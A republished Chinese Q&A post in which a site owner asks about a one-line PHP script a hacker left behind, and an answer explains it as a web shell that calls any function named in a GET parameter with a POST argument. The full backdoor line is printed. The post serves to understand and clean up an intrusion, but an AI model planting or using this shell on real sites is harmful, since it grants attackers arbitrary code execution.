前端之家收集整理的这篇文章主要介绍了
php – 找到黑客留下的代码,但不明白它的作用,
前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
我在一个
PHP文件中找到了黑客留下的一行脚本.它看起来像这样:
<?PHP
($_=@$_GET[2]).@$_($_POST[1]);
?>
任何人都可以提供一些关于这行代码的提示?谢谢
正如Reeno在
评论中已经说过的,就像一个
PHP shell.
说明
>将具有键“2”的GET变量存储在名为$_的变量中.由于PHP的打字类型很差,我们不需要在数字上引用引号.
$_=@$_GET[2]
>将$_作为可调用函数名称,并以$_POST [1]作为第一个参数执行.
@$_($_POST[1])
@运算符应该禁止错误日志记录,请参见PHP.net: Error Control Operators.
两个语句之间的并置运算符实际上并不重要.它可以这样重写:
$_=@$_GET[2];
@$_($_POST[1]);
用例
调用任意函数.我不会提到成功攻击的特定HTTP标头,但对于每个(web)程序员来说,这应该是相当容易的.
原文链接:https://www.f2er.com/php/132440.html